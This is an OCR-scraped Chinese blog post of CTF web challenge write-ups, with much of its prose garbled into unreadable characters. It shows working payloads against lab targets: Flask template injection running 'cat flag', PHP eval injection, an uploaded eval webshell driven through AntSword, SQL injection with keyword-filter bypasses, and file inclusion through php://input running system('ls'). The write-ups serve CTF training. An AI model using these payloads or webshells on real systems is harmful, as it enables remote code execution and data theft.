Bugku. iFKFEE web wp (—)

poggioxay F 2021-05-14 09:41:33 KA 276 W 1

FREE: Zidwp iFEK

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
ACEERE: https://blog.csdn.net/m0_55854679/article/details/116567281

FERAL

12 RXE1ITH
ITEER

Eﬂg

15 M 3CE 11T
TP &R

1RXEO0ITH
BT

XEHX

Bugku Simple_SSTI_1(python# iz EN)
Bugku Simple_SSTI 2

iF K Misc Web 17 -1

iF K Misc Web 8 -2

iF K Web Upload

iF K Misc Web ##7-3

iFH Web SQL

i web include

Web Do you know upload?

Bugku Simple_SSTI_1(python#iiiz i3 \)


https://blog.csdn.net/m0_55854679
https://blog.csdn.net/m0_55854679/category_11042696.html
https://blog.csdn.net/m0_55854679/category_11059537.html
https://blog.csdn.net/m0_55854679/category_11059539.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_55854679/article/details/116567281
https://blog.csdn.net/m0_55854679/category_11042696.html
https://blog.csdn.net/m0_55854679/category_11059537.html
https://blog.csdn.net/m0_55854679/category_11059539.html

1. BEIERERE—1T78, BAMMAthEANR. REA%#, BEMITIEAG

{!DOCTYPE html>

<html lang="en”>

<head>
{meta charset="UTF-8">
<title>Simple SSTI</title>

{/head>

<{body>

You need pass in a parameter named flag-.

{!=— You know, in the flask, We often set a secret key variable. —>

{/body>
</html>

2. BIBEE=ITRENT
I-- You know, in the flask, We often a secret_key variable

BER REE, fEflask [—/NPythonds S fIWeb THAESE, 1kIRATRT DUME F PythoniE & Puid SE Il — MM BiWebfk%. 1 B, &
& & % B — /1 secret_keyZZ & Fr LAIRATE L secret_key &, FH A config T&, HFHEHE SECRET_KEY ,FELEMH
urlJ5 AN /2flag={{config.items()}} » s T V7 i, Ul 72 T4 [ 7 &K IA flag{c3af0e0464d89e12a4983dbf4b3984da} .

&« > C o © £ 114.67.246.176:19306/?flag={{config.items(}} BTN + 4 n o h &« @ © =

S srBE. Bcf [ Unicode®ides®-.. BI85 @ EENEES - chah.. & MDSAS|EEFEE. @ Ui HERRESET | V.. [ BEamas FrHE

dict items([CENV", "production’), (DEBUG", True), (TESTING', False), (PROPAGATE_EXCEPTIONS', None), (PRESERVE CONTEXT ON_EXCEPTION', None), ('SECRET KEY',
"), ('PERMANENT SESSION_LIFETIME', datetime timedelta(days=31)), (USE_X SENDFILE', False), ('SERVER NAME', Nohe), CAPPLICATION ROOT', '/"),
('SESSION_COOKIE_NAME', 'session’), ('SESSION_COOKIE_DOMAIN, False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_ HTTPONLY", True), ('SESSION_COOKIE_SECURE', False),
('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST", True), (MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)),
('TRAP_BAD REQUEST ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED URL SCHEME', *http’), (JSON_AS_ASCII', True), (JSON_SORT KEYS',
True), (JSONIFY_PRETTYPRINT REGULAR, False), (JSONIFY_MIMETYPE', ‘application/json’), (TEMPLATES AUTO RELOAD', None), (MAX_COOKIE SIZE', 4093)])

Bugku Simple_SSTI_2



1. BER, TR

I e e T et g " e Wl e e —

You need pass in a parameter named flag

2. HEHETH, XEBRARAIERIEN. 5E—BEBHER, A&, EFMNTERE.
MAE—EEEE, RIONEEFEAR SRR RRRENESLS.

<IDOCTYPE html>
¢html lang="en”>
<head>
{meta charset="UTF-8">
{title>Simple SSTIZ2</title>
{/head>
<body>
You need pass in a parameter named flag
{/body>
</html>

3. payload: ?flag={{ config._ class__ . init_. globals_ ['0s'].popen(‘cat flag').read() }}
< C O A FTEf£| 114.67.246.176:18037/?flag={{%20config. class . init . globals [%270s%27].popen(%27cat%20flag%27).read()%20}}
B owm & 5T @ax s Tt FitB 36088 o WiSs [F Besn maRe Wl E5I D suis e @ FoEE O Esa U U-FTaEss

flag{6dcaalc68985ff8e9c815759¢cc6812e1}

® E Elements Console Sources Network Performance Memory Application Security Lighthouse: HackBar

LOAD SPLIT EXECUTE TEST ~ sqLl - XSS - LFI ~ SSTI - ENCODING - HASHING -

URL
http://114.67.246.176:18037/?flag={{ config.__class__.__init__.__globals__['0s’].popen('cat flag’).read() }}

iZE K Misc Web &7 -1
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SE: 10 e (VI I BEESH: =51 EEE
SERE; flagfiEEfEZEE+,

http://817e5fb3b3c649c3bb9f40810117a69862f08c1355fd459f.changame.ichungiu.com:80
00 : 55 : 31

Flag: | | f2x
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1. FTIFEEE R — BphpIRhd.

<?php

include “flag.php”;

$a = @§ REQUEST[ hello’ ];

if (!preg match( / \wx$/" ,$a )){
die C ERROR’ ) ;

}

eval (“var dump ($$a):”) :
show_source(_FILE ):
?>

2. ZF—1Tinclude"flag.php" &= XA Eflag.php X, 24T $a = @$_REQUESTThello'] Fnty % — N E EaR BN & /2
B [BERECNE—NHANEE/EREFE ] @3 _REQUESTThello] - $ REQUEST F Tt HTML = B3R K%
. $a=@$_REQUEST[hello'] I &iF Rk — 44 Nhello 12 %1

3. FEHFLLE A UrS5H IR /2hello=GLOBALS ,

array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ['_POST"]=> array(0) { } ["_COOKIE"]=> array(6) { ["UM _distinctid"]=> string(59)
"1780c0dd0d2845-058f76d7fe56f8-53e356a-144000-1780c0dd0d3855" ["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO00O00"
["ci_session"]=> string(40) "f12e460e37f366964e433475146c595457e5ccd2” ["Hm Ivt 2d0601bd28de7d49818249cf35d95943"]=> string(21)
"1620721245,1620727293" ["__jsluid_h"]=> string(32) "9ad90e15ffd82c2b01986300318b3bb3" ["Hm_lpvt 2d0601bd28de7d49818249¢f35d95943"]=>
string(10) "1620728005" } [" FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flagtE—M<EH6MNTE

BE" ["d3f0f8"]=> string(42) "flag{66e782b5-ca34-491d-9d3c-d759f957ebaa}" ['a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <2php
include “flag.php”;
:%ZC : Q@S,REEEEET?’heLLo’ 1
if (Ipreg_mateh (' / \wx$/",8a )){
die (" ERROR’) :

eval ("var_dump ($8a) ;") ;
show_source (__FILE_);
>

[® (] Eements Console Sources Network Performance  Memory  Application  Security  Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sqQLl - Xss - LFI -~ SSTI - ENCODING ~ HASHING ~ THEME ~

URL
http://2e604e9ca3e445c4b1647e61a79493b9f7c0128a9cch4717.changame.ichungiu.com/?hello=GLOBALS

I Enable POST ADD HEADER

4. EQUESTZEf4 GET. $ POSTEZE, KitpostttZHihello=GLOBALSt A L.

iZE K Misc Web 127 -2



1. 5 E—8MRE, TITeERR—BphpEid AL 5 E—BEAMA, FHE—BEKREERBEAIRIRXFITEATT, HR
5 RRIERT R LIS T A IOARES . RIA L — R A B B AR IR PRI TN AT AT

{?php

include “flag.php”;

$a = @$_REQUEST[ hello’ ];
eval ( “var_dump($a):”):
show_source(_ FILE ) :

2. #B— file_get contents() %% [ file_get contents(path) B %1, KR EHE TR XHRNZE, PLFRFS KRR R H
Ko eval(str) %, HFESEPFERFE, UIE php KT, 1 LARIES $a £\ var_dump() . var_dump() B s 2
XML UFRFERERIRE, HENFHRED eval BEET, ik eval BERPATIXIT WL

3. FHitk, TAIFRANE H getts SR Ul E E N /2hello=file_get_contents("flag.php") » T T Bk 5T J5 255 1% T Y8 Y BN /] B h
B 2lflag.
string (83) "<Zphp

$flag = "Too Young Too Simple’:
#flag {57469544-9151-43dd-b490-9998a0a9a253} ;

<code>{span style="color: #000000">

<span style="color: #0000BB">&lt: ?php<br /»</span><span style="color: #007700”>includeénbsp;</span><{span style="color: #DD0000”>"flag.php”</span><span sty
</span>
</code>

i%F# Web Upload



TR B IR RE(E Bt a3, BANER EA—NEH —A1ER S Kflag.php3ff, B EAEHT).

N EfE

{ReLABER it

e i
&R

REEREFEMIERY, BFRMN EAERPphpXHNE, KIAphpMirSsod 8. FHRNMZEIMESITSIE, i8]
HEER RE RSB —RTEARS.

@eval (5 _POST['emd'l); 7>

BINFRARN B Gad UL R A FHFRE#IT TR, WE5E, K php A8 <? (KA IE, MphpkIhgeid. RATH <script
language="pHp">@eval($_POST['123")</script> scripthr2 R &1t <? B v] Seid i Th

T SEREIX N php S, EERIHFIITF G, B ZERtmIE 3 F K 2Bflag.php S4B v #2 Flflag .
& REWE — O X
AntSword #&E B[ B

« =

3

= HIREE (4) mHERF (1) 3
URLHtHE IPHE | WS | FliE & | Bl2AiE | E&AdiE O | AZEH o fflEs
hitp://fe7dcBe1f05743559406¢315 183.2 = smizaiie ¢ http://fe7dc8e1f05743559406c315d95628fbad96a882d06b... — O X ik (4)

http://challenge-ac2f4bf55fac69f7 47.9§ B e x
http://127.0.0.1/DVWA/hackable/i 127.1
hitp://127.0.0.1/DVWA/hackable/i 127.1 AN v
URLAE http://fe7dcBelf05743559406¢315d95626fbad96a882d06b4435.chang
EEED 123
FlhEE
whiEE UTF8 v
Jie ;e PHP =
S
® default
) random
O base6d .
2iFkRiER ~
o HigE ~




@ FEws
| AntSword &E B[ &
§ 4 == £ 183.222.96.251
D BRxdE (1) < Dx#siE ()
=07/ Ofig - ALE CHRE AZER  RPE - fvereww/ho)
=l
o £ =
=TT www
;i = 3/ htmi O wu 2021-05-11 11:51:06
n M D 1970-01-01 00:00:00
bootstrap.min.css 2016-08-28 10:58:26
& flag.php 2021-05-11 11:50:44
index.php 2016-09-02 01:59:55
1 @ jquery.min.js 2016-08-28 10:58:26
)
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1. FTITEER T B B — BiphpI&hd .

{?php

error_reporting (0):
session_start () :
require (. /flag. php’ ) ;

if (lisset ($_SESSION[' nums’ 1)) {

$_SESSION[ nums'] = 0
$ SESSTON[  time’ ] = time();
$ SESSION[  whoami' ] = ’ea

}

i (§ SESSTON[ time 1+120<time () {
session_destroy () ;

i

$value = § REQUEST[ value ];

$str rand = range(a’, 'z');:

$str_rands = $str _rand[mt_rand(0,25)].$str_rand[mt_rand(0, 23)];

if (§_SESSTON[' whoami' ]==(§value[0].$valuel1]) && substr(md5(§value), 5, 4)==0) {
$_SESSION[" nums’ ]++:
$_SESSION[ whoami’ ] = $str_rands;
echo $§str_rands;

}

it (§_SESSION[ nums’ ]>=10) {
echo $§flag;

}

show_source(__FILE_ ) ;

P>

2. RINFBEFEMEEE TR Taghig, B Xaisessiond

nmm%ﬁ%ﬁ?m,%ﬁmmﬁm,Rﬁﬁmmw+m’jmuﬁﬁﬂ@’mmﬁlm%#ﬁﬁA,_
3. Hi—~ payload /?valuef]l=ea  FATFHEE —RIEAN ea, REHEBFTENH KIBENBUIERMESE —RV7H TEIFH#HTHEN. R
BERNEZL10KRT), #ELE R E S E Fflag.

s 3flag{8270f327-c42f-4569-b0fc-1fe7a01c803 7 &I
error_reporting (0);

session_start():

require (" . /flag. php’ ) ;

if(lisset (§_SESSION[ nums 1)) {

$ SESSION[ nums' ] = 0
$ SESSION[  time'] = time();
$ SESSION[  whoami'] = ‘ea ;

}

if ($§_SESSION[ time’ ]+120<time()) {
session_destroy () ;
}

$value = § REQUEST[ value  ]:

Satr rand = ranoe('a’ P77 -
[w ﬂ Elements Console Sources Netwaork Performance Memory Application Security Lighthouse HackBar
LOAD SPLIT EXECUTE TEST -~ sqQLl - X88 - LFI -~ SSTI ~ ENCODING - HASHING -~

URL
http://81af8e121e9741388a19dd24a74d2415db2a6efd13674fc4.changame.ichungiu.com/?valuell=rq

I Enable POST ADD HEADER

< | m 3

iF# Web SQL

1. BEERRXRsqVEN, T HiRRflagE $#E FE



flag{TEZEE+}

2. BEVRIGTEE|$2R SELECT * FROM info WHERE id=1
{meta http-equiv="Content-Type” content="text/html: charset=utf-23" />

¢1--SELECT # FRON info WHERE id=1--><br />flag FEEMEEED] <br /<br />

1= IEE W, 1=2TEANTH, WARFEREN
3. i@ nand 1=1, RIHEE, Wikor1=1, HAEIMordii=E

< C O A T2 | ec07327b560a448bb025d4c698b3699de883a427885a4ea5.changame.ichungiu.com/index.php?id=1%20and%201=1
HouA W EE-T B es B3 T FoitE s08m o muSm B sesn [ s 5E > ske pis @ FmEm O vEse U UEINEsSE (

inj code!

4. FMMFERRAZandMor, and-—->&8& or——-> ||, KILATLAERIISRT -

< C O A TZ=£| ec07327b560a448bb025d4c698b3699de883a427885a4ea5.changame.ichungiu.com/index.php?id=1%20%208&1=1
HowA 8% =s=—F BDEs S Fi FifRETS 36058, o WusSs B sesn [ mes 58 > sk nils @ Finsm O JEfsa U UHTREESEE

flag{TE&RRE}

1= EFE VI, 1=2FTEATH, WAKTHEAN
5. EETREZRFEFBKE, EMHorder by B — /%7550, K Plorder by 4= A

< C O & F&%| ecd7327b560a448bb025d4c698b3699de883a427885a4eab.changame.ichungiu.com/index.php?id=1%20%2000rder%20by%201
Howm % ot @ e =R Fi TR 6084 v EuSHh B soEm G ess srE D mke Bis @ FEEm O Juasg U U

inj code!

6. BATERMFEH<>IorderZ /MR 5et, KIMWA1T, BHHFEHAS.
flag{TEEURE+)



[® ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST -~ sqQLl -~ XSS - LFI ~ SSTI ~ ENCODING -~ HASHING -~

URL
http://ec07327h560a448bb025d4c698b3699de883a427885a4ea5.changame.ichungiu.com/index.php?id=1 o<>rder by 3

FAEE Munion (al) BREEWRER B TFBE, KMselecttidIE, FHEAMEH<>FRIT.

flagifE2iEE T}

5
v ﬂ Elements Console Sources Netwark Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST -~ sQLl -~ XSS -~ LFI -~ SSTI - ENCODING -~ HASHING ~
URL

http://fad1c1917ec3441bb7053bd7bc80e11a1a613880e21c405¢.changame.ichungiu.com/index.php?id=1 union sel<>ect 4,5,6

RPREKFBON=, NEAGE /M ELRER|TE L RBIEEAEE, BT CLEE S ERRE S HEE, B

i /index.php?id=1 union s<>elect 1,database(),3 , 5 HHHE E Asqli. (EZEMEHILIE, ATH + Z%id)

flag{FE&UERE+}
sqli
= ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar
LOAD SPLIT EXECUTE TEST ~ sQLl - XSs -~ LFI ~ SSTI -~ ENCODING -~ HASHING ~
URL

http://fad1c1917ec3441bb7053bd7bc80e11a1a613880e21c405¢c.changame.ichungiu.com/index.php?id=1 union s<>elect 1,database(),3|

BT oR2ES AN i&EpayloadffiflagEl 5. #i& /index.php?id=1 union se<>lect 1,table_name,3 from
information_schema.tables & 7~ AT % 44

flag(TEEHRE R}

CHARACTER_SETS

COLLATIONS

COLLATION_CHARACTER_SET_APPLICABILITY



COLUMNS
COLUMN_PRIVILEGES
ENGINES

EVENTS

FILES
GLOBAL_STATUS
GLOBAL VARIABLES
KEY_COLUMN_USAGE

= ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST -~ saLl - X8s - LFl ~ SSTI ~ ENCODING -~ HASHING ~

URL

http://c05b90f2f2ff4ba784de4db9949fdfaa02c9fb8d0afe4fdb.changame.ichungiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables

9. HJipayload /index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli' >k [5] & 24 Aif

WHKE.

flag(TERERE)
info (=)
users
[® ] | FEements Conscle Sourcces Network Performance  Memory  Application  Security  Lighthouse  HackBar

LOAD SPLIT EXECUTE  TEST -~ sqLl - XSS - LFI - SSTI = ENCODING - HASHING ~ TH
URL

http://c05b90f2f2ff4ba784de4dh9949fdfaa02c9fh8d0afedfdb.changame.ichungiu.com/index.php?id=1 union se<>lect 1table_name,3 from information_schema.tables where table_schema="sqli'

10. #4i&payload /index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_name='info' [F] Zinfo[¥]

544

flag (EAgEREeF)
id

title

flAg_T5ZNdrm

Y ﬂ Elements Console Sources Netwark Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl - Xss - LFI ~ SSTI - ENCODING ~ HASHING ~ THEN

URL

http://c05b90f2f2ff4ba784de4db9949fdfaad2c9fb8d0afe4fdb.changame.ichungiu.com/index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_name='info'

11. #4i&payload /index.php?id=1 union se<>lect 1,fIAg_T5ZNdrm,3 from info [F] E.flag.

flag{TE&IREE+)
ag{3c5fee3c-a69a-426¢-8885-35¢01013df0e I D

test



[® ] | Eements Console Sources Network Performance  Memory  Application  Security  Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST - saLl - XS8s -~ LFI ~ SSTI -~ ENCODING ~ HASHING ~ TH

URL
http://c05b90f2f2ff4ba784de4db9949fdfaad2c9fb8d0afe4fdb.changame.ichungiu.com/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info

iZ# web include

1. BERRAHER TR UERSHRBEXEEER T 2R, BRXAZEW A aTwm A ek, XMELT, W
REAWRBHZEHEE, WK KXHFEERA. TEEEE - NMBEAE N FILE SRS EHIT, Nk
BEEEERE. 1. JJTEER, WUFE R —Bphplfid i B8 T phpinfolI W E, MIEE BA EMLIE.

<Pphp

show_source(_ FILE )

if (izset (3_REQUEST[ path’ 1)) {
include (3_RBQUEST [’ path’ 1);

Jelse{

}

include  phpinfo. php’ ) ;

php

System Linux ebebcddf184e 4.4.169-1 el6.elrepo.x86_64 #1 SMP Fri Dec 21 11:47:22 EST 2018 x86_64

Build Date Dec 13 2016 00:04:38

Configure Command /home/buildozer/aports/main/php5/src/php- 5629/confgure *~-build=x86_64- alpme linux-musl* "
host=x86_64-alpine-linux-musl' '--prefix=/usr' ' =/etc/php5' '--I dir=/var' '--with-
layout=GNU' --with-config-file-path=/etc/php5" '--with-config-file-scan-dir=/etc/php5/conf.d’ '--enable-
inline-optimization' '--disable-debug' '--disable-rpath' '--disable-static' --enable-shared' '--
mandir=/usr/share/man’ '--with-pic’ '--disable-cli’ '--with-apxs2' '--enable-bcmath=shared" "--with-
bz2=shared' '--enable-calendar=shared' *--with-cdb' '--enable-ctype=shared" '--with-curl=shared" '--
enable-dba=shared’ "--with-db4=shared’ "--enable-dom=shared’ 'ffwithfenchant=shared' *--enable-
exif=shared' '--with-freetype-dir=shared,/usr* * ble-ftp=shared' "--with-gd=shared" '--enable-gd-
h-gdbm=shared' '--with-gettext= shared' '—-with-gmp= shared *-—-with-iconv=shared' '--
icu-dir=/usr' '--with-imap=shared’ '--with-imap- hared® |=shared’ *--with-jpeg-
hared,/usr’ *--enable-json=shared’ 'anh Idap=shared' '--enable-libxml|=shared' '--enable-mbregex’
'--enable-mbstring=all’ *--with-mcryp: d' '--with-mysql=shared, mysqlnd’ '--with-mysql-
sock=/var/run/mysgld/mysgld.sack' '--with-mysqli= shared mysqlnd' '--with-openssl=shared' "--with-
pcre-regex=/usr' "--enable-pcntl=shared' '--enable-pdo=shared’ *--with-pdo-mysgl=shared,mysqInd’ '--
with—pdo-odbc:shared,unixoDEC,,’usl' ith-pdo-pgsql=shared' '--with-pdo-sqlite=shared,/usr' '--with-
pgsql=share f—enablefphar:shared' '--with-png-dir=shared,/usr' '--enable-, posix shared' '--with-
pspell=shar jith-reg ",," bl ion" ——enable—shmop shared' '--with-snmp= shared' -
enable-soap=shared' '--enable-sock hared' '--with-sq hared,/usr' " ble-sy d -
-enable-sy hared" ' bl h hared" '——W|th unixODBC=shared,/usr' '——enahle—
|=shared' '--enable-xmireader i =shared’ --enable-
wddx=shared" " ble-zip=shared' * without-db2' '--without-db3"
'—-without-gdbm’ '--with-mssql=shared’ *--with-pdo-dblib=shared' '--enable-opcache’
'build_alias=x86_64-alpine-linux-musl' 'host_alias=x86_64-alpine-linux-musl' 'CC=gcc' '"CFLAGS=-0Os -
fomit-frame-pointer -g' 'LDFLAGS=-WI|,--as-needed' 'CPPFLAGS=-Os -fomit-frame-pointer' 'CXXFLAGS=-
Os -fomit-frame-pointer -g*

Server API Apache 2.0 Handler
Virtual Directory Support disabled

2. BRANE XA T EE—T allow_url_include B& £ &, Ctri+F,ELL 2] allow_url_include , & ILZFTF .

Core

‘ PHP Version | 5.6.29 |

allow url fopen Off Off

allow_url_include On On

[=]
(=]

always_populate raw_post data

arg_separator.input & &

arg_separator.output & &

asn tans Off Off

3. B LLE ) php:/finput T3, 3 url /2path=php:/linput , postiE NZ%{ <?php echo system('ls');?> , i %15 5| 4 H 5%
Burp Suite Community Edition v2020.12.1 - Temporary Project - O X

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

3 x

Bl - v v Target: http://19be05395004271895d2332de86b2afb34462Bede584b98.changame.ichungiu.com 7 (7)
nB s =

Request -

Raw \n Actions v

GET /?path=php://input HTTP/L.1
Host: clSheD53950a4271895d2332deBEb2ath344628cdc584b98. changane. ichungiu. com

T de-T: sl

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

HO.1D3IdSNI

2
4

N




© mccepu-sncuaing. gaip, asiiace
7 Accept-Language: zh-CN,zh;q=0.9

& Cookie: UM_distinctid=1780c0dd0d2845-058£76d7fe56£6-532e356a-144000-1780c04d0d3855; chirphone=acWxlipxh(pDidchhNuSnEqyiQubdI00000; Hm_lvt_2d0€01lbd28de7d49818249c£35d95943=162072
5 Connection: close

10 Content-Length: 26

12 <7php echo system("ls");?>

@& ‘EWE] [ search. 0 matches

Response

Raw Render \n Actions v

<span style="color: §OD00BE">3 REQUEST</span>
<span style="color: $007700">[</span>

<span style="color: #DD0000">'path'</span>

<span style="color: £007700">]);<br />

telse{<br />

&nbsp; &nbsp;énbsp; &nbsp; include (</span>

<span style="color: $DD0000">'phpinfo.php'</span>
<span style="color: $007700">);<br />

}<br />
</span>

12 </span>

13 </code>

dle345aae_php|
14 index.php
15 phpinfo.php
1¢ phpinfo.php

@S (€[] search. | 0 matches
Done 1,013 bytes | 156 millis |;

4. FEECCHENE, FREESgettsZ: 2path=php:/filter/read=convert.base64-encode/resource=dle345aae.php , 757 i N A fEflag
N,

Burp Suite Community Edition v2020.12.1 - Temporary Project - m] X
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
3 x
Bl o (<> Target: http://c 271895d233. i jucom 7 (2)
“HE= =
Request
Raw \n Actions v ;
1 GET J?path=php://filter/r .base64 resource=dle345aae.php HITP/1.1 bt
Z Host: clSheD53950a4271895d2332deBEb2ath344628cdc584b58. changane . ichungiu. com 9
2 de-T s 1 [=]
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/S0.0.4430.212 Safari/537.36 =
S Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,inage/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
€ Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9
2 Cookie: UM_distinctid=1780c0dd0d2045-058£76d7te56£0-53e356a-144000-1780c0dd0d3855; chikph WxlpxhOpDiA BqyiQuDI00000; Hm_lvt_2d0E01bd28de7d45818245c£35d95943=162072
S Connection: close
10 Content-Length: 26
1
12 <7php echo system("ls");?>
@{é} \(—”—)] ‘ Search. 0 matches
Response
Raw Render \n Actions v
<span style="color: #DDO000">'path'</span>
<span style="color: #007700">]))(<br />
&nbsp; &nbsp; &nbsp;&nbsp; include (</span>
<span " : #000D0EB">$_REQUEST</span>
<span : £007700"> [</span>
<span style="color: #DDD000">'path'</span>
<span style="color: #007700">]);<br />
Jelse{<br />
anbsp;&nbsp; &nbsp;&nbsp; include (</span>
| <span style="color: #DDD000">'phpinfo.php'</span>
<span style="color: #007700">);<br />
}<br />
</span>
12 </span>
13 </code>
i JnbGFnezBil2MwZTRiLWYS LhZDVE LWFuYzULYT IwVul1¥n0idwo=
@ ics (€[] [ search. | o matches
Done 1,046 bytes | 155 miltis

5. f# Fbase64f# % ) 7] 15 2lflag.
IE: phpIRtPUFh 5 44T S8 64 exec(). passthru (O . system O . shell_exec() » XU EEE —A)iEAD
Feval O EEEAME, BIRTURE —GEARDFK eval O BEE, HHAKE system O E#, <?php system(ls")?> &
T—HaERD,

Web Do you know upload?

RITEEE, ZW bAe jpgfseft, RIF EAERT). bAAEE —AER D Kphp3Cfh, B BAERM, B AT U5 A fburp
RIEBEH -

Burp Suite Community Edition v2020.12.1 - Temporary Project - X
Burp Project Intruder Repeater Window Help

Dashboard ~ Target  Proxy  Intruder  Repeater  Sequencer  Decoder  Comparer  Extender  Projectoptions  Useroptions

1 x 2 x 3 x 4 x

B2l v v Target: 179dab7b97 3 ichungiu Vi
[ =

Q

Request



pretty [EEU \n  Actions v
E: Enntanr.—l)i::nsitinn form-data; n;].i::l‘;r“ I ':P £ °’ %

15 Juploads/

20 it 133WATv

21 Content-Disposition: form-data; name="file"; filename="flag? php"
22 Content-Type: image/jpeg

24 <2php phpinfo()?>

25 <2php @eval($_DOST['emd'l) ;7>

27 it 133VATy

29 Content-Disposition: form-data; name="submit"

0 Submit
R WebKitFornBoundaryKWelUnyDt 133 WATv-~

QB (€2 [ezrer Omatches

Response
pretty Raw [[ERoa@ ' Actions v

ERLfE

Filename: [ 27 | Rs2Eas
| Submit |

Upload: flag? php
Type: image/jpeg

Size: 0.048828125 Kb
flag2 php already exists.

FE—AJiEAR S HIANIN <?php phpinfo()?> i Fpostté S K177 1%, FIIREXphphfiA LA & & MAUR BEAT B - phpinfoth 4T B3l
Yo S EAE R .

System Linux 075bbdf817d1 4.4.169-1.el6.elrepo.x86_64 #1 SMP Fri Dec 21 11:47:22 EST 2018
X86_64

Build Date Aug 4 2017 19:39:57

Server API Apache 2.0 Handler

Virtual disabled

Directory
Support
Configuration | /etc/phpS/apache2
File (php.ini)
Path
Loaded fetc/php5/apache2/php.ini
Configuration
File

Scan this dir | /etc/nhnS/anache?/conf.d

[ ﬂ Elements Console Sources Network Performance Memaory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST - sQLl - Xss -~ LFI ~ SSTI ~ ENCODING -~ HASHING -~

URL
http://3d693ce5b2fd49179dab7b9772f41a96dafca0da8ddb4f73.changame.ichungiu.com/upload/flag2.php

¥oL @ NI

enctype

. Enable POST multipart/form-data - ADD HEADER

Body
cmd=phpinfo();

A% diabled_functionix —17, IATKINE FHBIERBEEEM, FULRATAT LAGREEERAE
ATV —HEAR D AR INphpinfo(ftl 5, BEE Lk#EE, KA burpBRCUHE &3t L.
IS EEAR T, SRJEEconfig.php X Hh vl LLE 2 804 FE i F P 46 D

@ PEmS - O X
AntSword #HE HO &l
] = [0183.222.96.251 [0 183.222.96.251 [0183.222.96.251 £ 183.222.96.251 (0183.222.96.251
D EFERIx (1) ¢ | DxEsE 3)
=/ OFiE - ALE ChiEm #FBxE APE v fvar/wew/himl/ > iEE
03 var &5 B K Eit
= www
o [Im] upload 2021-05-14 02:56:56 4 Kb 0755
M upload 3] config.php 2017-10-16 15:44:40 281b 0644

@ index.php 2017-10-16 15:44:40 1.68 Kb 0644



R A HRNG MK shell. SMEEdEEE, REEBEmMysql, 8BNS FEHIEER R P 4t S i ctictfctf, BIF R Bflag i
H1Eflag.

@ hEws — O x
AntSword $iE B[O EE
4 == [0 183.222.96.251 [0 183.222.96.251 £ 183.222.96.251 [0 183.222.96.251 £ 183.222.96.251 3
S RaE < | <> thiTSOL ~
Q5 | iR Wk HifT X EHE
= E*E mysql://ctf@localhost 1 SELECT “flag™ FROM “flag™ ORDER BY 1 DESC LIMIT @,28@;
B information_schema
= a ctf
= flag
[T] flag (varchar(255))
S TR v
154
flag

flag{49b60f33-74ee-4c00-a815-407caf28e4b8}
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